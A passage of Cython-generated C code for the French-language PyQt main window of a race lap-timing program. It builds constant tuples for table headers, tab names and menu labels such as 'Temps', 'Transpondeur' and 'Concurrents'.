__Pyx_GIVEREF(__pyx_tuple__651); /* "Ui_MainWindow.py":1055 * item = self.R_RaceLive.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive.horizontalHeaderItem(3) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive.horizontalHeaderItem(4) */ __pyx_tuple__652 = PyTuple_Pack(1, __pyx_int_3); if (unlikely(!__pyx_tuple__652)) __PYX_ERR(0, 1055, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__652); __Pyx_GIVEREF(__pyx_tuple__652); /* "Ui_MainWindow.py":1056 * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) */ __pyx_tuple__653 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Laps); if (unlikely(!__pyx_tuple__653)) __PYX_ERR(0, 1056, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__653); __Pyx_GIVEREF(__pyx_tuple__653); /* "Ui_MainWindow.py":1057 * item = self.R_RaceLive.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive.horizontalHeaderItem(4) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive.horizontalHeaderItem(5) */ __pyx_tuple__654 = PyTuple_Pack(1, __pyx_int_4); if (unlikely(!__pyx_tuple__654)) __PYX_ERR(0, 1057, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__654); __Pyx_GIVEREF(__pyx_tuple__654); /* "Ui_MainWindow.py":1058 * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) */ __pyx_tuple__655 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Temps); if (unlikely(!__pyx_tuple__655)) __PYX_ERR(0, 1058, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__655); __Pyx_GIVEREF(__pyx_tuple__655); /* "Ui_MainWindow.py":1059 * item = self.R_RaceLive.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive.horizontalHeaderItem(5) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive.horizontalHeaderItem(6) */ __pyx_tuple__656 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__656)) __PYX_ERR(0, 1059, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__656); __Pyx_GIVEREF(__pyx_tuple__656); /* "Ui_MainWindow.py":1060 * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) */ __pyx_tuple__657 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Dernier); if (unlikely(!__pyx_tuple__657)) __PYX_ERR(0, 1060, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__657); __Pyx_GIVEREF(__pyx_tuple__657); /* "Ui_MainWindow.py":1061 * item = self.R_RaceLive.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive.horizontalHeaderItem(6) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) */ __pyx_tuple__658 = PyTuple_Pack(1, __pyx_int_6); if (unlikely(!__pyx_tuple__658)) __PYX_ERR(0, 1061, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__658); __Pyx_GIVEREF(__pyx_tuple__658); /* "Ui_MainWindow.py":1062 * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) # <<<<<<<<<<<<<< * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) */ __pyx_tuple__659 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Meilleur); if (unlikely(!__pyx_tuple__659)) __PYX_ERR(0, 1062, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__659); __Pyx_GIVEREF(__pyx_tuple__659); /* "Ui_MainWindow.py":1063 * item = self.R_RaceLive.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) # <<<<<<<<<<<<<< * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) */ __pyx_tuple__660 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Course); if (unlikely(!__pyx_tuple__660)) __PYX_ERR(0, 1063, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__660); __Pyx_GIVEREF(__pyx_tuple__660); /* "Ui_MainWindow.py":1064 * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) # <<<<<<<<<<<<<< * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) */ __pyx_tuple__661 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Menu_Options); if (unlikely(!__pyx_tuple__661)) __PYX_ERR(0, 1064, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__661); __Pyx_GIVEREF(__pyx_tuple__661); /* "Ui_MainWindow.py":1065 * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Race), _translate("MainWindow", "Course")) * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) # <<<<<<<<<<<<<< * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) */ __pyx_tuple__662 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Dure); if (unlikely(!__pyx_tuple__662)) __PYX_ERR(0, 1065, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__662); __Pyx_GIVEREF(__pyx_tuple__662); /* "Ui_MainWindow.py":1066 * self.B_Define_2.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) # <<<<<<<<<<<<<< * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) */ __pyx_tuple__663 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Sauvegade_des_Rsultats); if (unlikely(!__pyx_tuple__663)) __PYX_ERR(0, 1066, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__663); __Pyx_GIVEREF(__pyx_tuple__663); /* "Ui_MainWindow.py":1067 * self.B_Define_2.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) # <<<<<<<<<<<<<< * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) * self.R_RaceLive_2.setSortingEnabled(False) */ __pyx_tuple__664 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_STOP); if (unlikely(!__pyx_tuple__664)) __PYX_ERR(0, 1067, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__664); __Pyx_GIVEREF(__pyx_tuple__664); /* "Ui_MainWindow.py":1068 * self.B_Define_2.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setSortingEnabled(False) * item = self.R_RaceLive_2.horizontalHeaderItem(2) */ __pyx_tuple__665 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Dpart); if (unlikely(!__pyx_tuple__665)) __PYX_ERR(0, 1068, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__665); __Pyx_GIVEREF(__pyx_tuple__665); /* "Ui_MainWindow.py":1069 * self.B_Stop_2.setText(_translate("MainWindow", "STOP")) * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) * self.R_RaceLive_2.setSortingEnabled(False) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) */ __pyx_tuple__666 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__666)) __PYX_ERR(0, 1069, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__666); __Pyx_GIVEREF(__pyx_tuple__666); /* "Ui_MainWindow.py":1070 * self.B_Start_2.setText(_translate("MainWindow", "Dpart")) * self.R_RaceLive_2.setSortingEnabled(False) * item = self.R_RaceLive_2.horizontalHeaderItem(2) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive_2.horizontalHeaderItem(3) */ __pyx_tuple__667 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__667)) __PYX_ERR(0, 1070, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__667); __Pyx_GIVEREF(__pyx_tuple__667); /* "Ui_MainWindow.py":1071 * self.R_RaceLive_2.setSortingEnabled(False) * item = self.R_RaceLive_2.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) */ __pyx_tuple__668 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Nom); if (unlikely(!__pyx_tuple__668)) __PYX_ERR(0, 1071, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__668); __Pyx_GIVEREF(__pyx_tuple__668); /* "Ui_MainWindow.py":1072 * item = self.R_RaceLive_2.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive_2.horizontalHeaderItem(3) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive_2.horizontalHeaderItem(4) */ __pyx_tuple__669 = PyTuple_Pack(1, __pyx_int_3); if (unlikely(!__pyx_tuple__669)) __PYX_ERR(0, 1072, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__669); __Pyx_GIVEREF(__pyx_tuple__669); /* "Ui_MainWindow.py":1073 * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive_2.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) */ __pyx_tuple__670 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Laps); if (unlikely(!__pyx_tuple__670)) __PYX_ERR(0, 1073, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__670); __Pyx_GIVEREF(__pyx_tuple__670); /* "Ui_MainWindow.py":1074 * item = self.R_RaceLive_2.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive_2.horizontalHeaderItem(4) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive_2.horizontalHeaderItem(5) */ __pyx_tuple__671 = PyTuple_Pack(1, __pyx_int_4); if (unlikely(!__pyx_tuple__671)) __PYX_ERR(0, 1074, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__671); __Pyx_GIVEREF(__pyx_tuple__671); /* "Ui_MainWindow.py":1075 * item.setText(_translate("MainWindow", "Laps")) * item = self.R_RaceLive_2.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) */ __pyx_tuple__672 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Temps); if (unlikely(!__pyx_tuple__672)) __PYX_ERR(0, 1075, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__672); __Pyx_GIVEREF(__pyx_tuple__672); /* "Ui_MainWindow.py":1076 * item = self.R_RaceLive_2.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive_2.horizontalHeaderItem(5) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive_2.horizontalHeaderItem(6) */ __pyx_tuple__673 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__673)) __PYX_ERR(0, 1076, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__673); __Pyx_GIVEREF(__pyx_tuple__673); /* "Ui_MainWindow.py":1077 * item.setText(_translate("MainWindow", "Temps")) * item = self.R_RaceLive_2.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) # <<<<<<<<<<<<<< * item = self.R_RaceLive_2.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) */ __pyx_tuple__674 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Dernier); if (unlikely(!__pyx_tuple__674)) __PYX_ERR(0, 1077, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__674); __Pyx_GIVEREF(__pyx_tuple__674); /* "Ui_MainWindow.py":1078 * item = self.R_RaceLive_2.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive_2.horizontalHeaderItem(6) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) */ __pyx_tuple__675 = PyTuple_Pack(1, __pyx_int_6); if (unlikely(!__pyx_tuple__675)) __PYX_ERR(0, 1078, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__675); __Pyx_GIVEREF(__pyx_tuple__675); /* "Ui_MainWindow.py":1079 * item.setText(_translate("MainWindow", "Dernier")) * item = self.R_RaceLive_2.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) # <<<<<<<<<<<<<< * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) */ __pyx_tuple__676 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Meilleur); if (unlikely(!__pyx_tuple__676)) __PYX_ERR(0, 1079, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__676); __Pyx_GIVEREF(__pyx_tuple__676); /* "Ui_MainWindow.py":1080 * item = self.R_RaceLive_2.horizontalHeaderItem(6) * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) */ __pyx_tuple__677 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Laptime); if (unlikely(!__pyx_tuple__677)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__677); __Pyx_GIVEREF(__pyx_tuple__677); /* "Ui_MainWindow.py":1081 * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) * item = self.TM_T_passage.horizontalHeaderItem(0) */ __pyx_tuple__678 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Courses); if (unlikely(!__pyx_tuple__678)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__678); __Pyx_GIVEREF(__pyx_tuple__678); /* "Ui_MainWindow.py":1082 * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(0) * item.setText(_translate("MainWindow", "Decode / Pos.")) */ __pyx_tuple__679 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Rsultats); if (unlikely(!__pyx_tuple__679)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__679); __Pyx_GIVEREF(__pyx_tuple__679); /* "Ui_MainWindow.py":1083 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) * item = self.TM_T_passage.horizontalHeaderItem(0) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Decode / Pos.")) * item = self.TM_T_passage.horizontalHeaderItem(1) */ __pyx_tuple__680 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__680)) __PYX_ERR(0, 1083, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__680); __Pyx_GIVEREF(__pyx_tuple__680); /* "Ui_MainWindow.py":1084 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) * item = self.TM_T_passage.horizontalHeaderItem(0) * item.setText(_translate("MainWindow", "Decode / Pos.")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(1) * item.setText(_translate("MainWindow", "TimeCode ")) */ __pyx_tuple__681 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Decode_Pos); if (unlikely(!__pyx_tuple__681)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__681); __Pyx_GIVEREF(__pyx_tuple__681); /* "Ui_MainWindow.py":1085 * item = self.TM_T_passage.horizontalHeaderItem(0) * item.setText(_translate("MainWindow", "Decode / Pos.")) * item = self.TM_T_passage.horizontalHeaderItem(1) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "TimeCode ")) * item = self.TM_T_passage.horizontalHeaderItem(2) */ __pyx_tuple__682 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__682)) __PYX_ERR(0, 1085, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__682); __Pyx_GIVEREF(__pyx_tuple__682); /* "Ui_MainWindow.py":1086 * item.setText(_translate("MainWindow", "Decode / Pos.")) * item = self.TM_T_passage.horizontalHeaderItem(1) * item.setText(_translate("MainWindow", "TimeCode ")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Transpondeur")) */ __pyx_tuple__683 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_TimeCode); if (unlikely(!__pyx_tuple__683)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__683); __Pyx_GIVEREF(__pyx_tuple__683); /* "Ui_MainWindow.py":1087 * item = self.TM_T_passage.horizontalHeaderItem(1) * item.setText(_translate("MainWindow", "TimeCode ")) * item = self.TM_T_passage.horizontalHeaderItem(2) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Transpondeur")) * item = self.TM_T_passage.horizontalHeaderItem(3) */ __pyx_tuple__684 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__684)) __PYX_ERR(0, 1087, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__684); __Pyx_GIVEREF(__pyx_tuple__684); /* "Ui_MainWindow.py":1088 * item.setText(_translate("MainWindow", "TimeCode ")) * item = self.TM_T_passage.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Transpondeur")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "LapTime")) */ __pyx_tuple__685 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Transpondeur); if (unlikely(!__pyx_tuple__685)) __PYX_ERR(0, 1088, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__685); __Pyx_GIVEREF(__pyx_tuple__685); /* "Ui_MainWindow.py":1089 * item = self.TM_T_passage.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Transpondeur")) * item = self.TM_T_passage.horizontalHeaderItem(3) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "LapTime")) * item = self.TM_T_passage.horizontalHeaderItem(4) */ __pyx_tuple__686 = PyTuple_Pack(1, __pyx_int_3); if (unlikely(!__pyx_tuple__686)) __PYX_ERR(0, 1089, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__686); __Pyx_GIVEREF(__pyx_tuple__686); /* "Ui_MainWindow.py":1090 * item.setText(_translate("MainWindow", "Transpondeur")) * item = self.TM_T_passage.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "LapTime")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Numro")) */ __pyx_tuple__687 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_LapTime); if (unlikely(!__pyx_tuple__687)) __PYX_ERR(0, 1090, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__687); __Pyx_GIVEREF(__pyx_tuple__687); /* "Ui_MainWindow.py":1091 * item = self.TM_T_passage.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "LapTime")) * item = self.TM_T_passage.horizontalHeaderItem(4) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Numro")) * item = self.TM_T_passage.horizontalHeaderItem(5) */ __pyx_tuple__688 = PyTuple_Pack(1, __pyx_int_4); if (unlikely(!__pyx_tuple__688)) __PYX_ERR(0, 1091, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__688); __Pyx_GIVEREF(__pyx_tuple__688); /* "Ui_MainWindow.py":1092 * item.setText(_translate("MainWindow", "LapTime")) * item = self.TM_T_passage.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Numro")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) */ __pyx_tuple__689 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Numro_2); if (unlikely(!__pyx_tuple__689)) __PYX_ERR(0, 1092, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__689); __Pyx_GIVEREF(__pyx_tuple__689); /* "Ui_MainWindow.py":1093 * item = self.TM_T_passage.horizontalHeaderItem(4) * item.setText(_translate("MainWindow", "Numro")) * item = self.TM_T_passage.horizontalHeaderItem(5) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) */ __pyx_tuple__690 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__690)) __PYX_ERR(0, 1093, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__690); __Pyx_GIVEREF(__pyx_tuple__690); /* "Ui_MainWindow.py":1094 * item.setText(_translate("MainWindow", "Numro")) * item = self.TM_T_passage.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) */ __pyx_tuple__691 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Nom_Prnom_Concurrent); if (unlikely(!__pyx_tuple__691)) __PYX_ERR(0, 1094, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__691); __Pyx_GIVEREF(__pyx_tuple__691); /* "Ui_MainWindow.py":1095 * item = self.TM_T_passage.horizontalHeaderItem(5) * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) # <<<<<<<<<<<<<< * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) */ __pyx_tuple__692 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Moniteur); if (unlikely(!__pyx_tuple__692)) __PYX_ERR(0, 1095, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__692); __Pyx_GIVEREF(__pyx_tuple__692); /* "Ui_MainWindow.py":1096 * item.setText(_translate("MainWindow", "Nom,Prnom Concurrent")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) # <<<<<<<<<<<<<< * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) */ __pyx_tuple__693 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Fichier); if (unlikely(!__pyx_tuple__693)) __PYX_ERR(0, 1096, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__693); __Pyx_GIVEREF(__pyx_tuple__693); /* "Ui_MainWindow.py":1097 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Monitor), _translate("MainWindow", "Moniteur")) * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) # <<<<<<<<<<<<<< * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) */ __pyx_tuple__694 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Concurrents_2); if (unlikely(!__pyx_tuple__694)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__694); __Pyx_GIVEREF(__pyx_tuple__694); /* "Ui_MainWindow.py":1098 * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) # <<<<<<<<<<<<<< * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) */ __pyx_tuple__695 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Co_urses); if (unlikely(!__pyx_tuple__695)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__695); __Pyx_GIVEREF(__pyx_tuple__695); /* "Ui_MainWindow.py":1099 * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) # <<<<<<<<<<<<<< * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) */ __pyx_tuple__696 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_R_sultats); if (unlikely(!__pyx_tuple__696)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__696); __Pyx_GIVEREF(__pyx_tuple__696); /* "Ui_MainWindow.py":1100 * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) # <<<<<<<<<<<<<< * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) */ __pyx_tuple__697 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Quitter); if (unlikely(!__pyx_tuple__697)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__697); __Pyx_GIVEREF(__pyx_tuple__697); /* "Ui_MainWindow.py":1101 * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) * 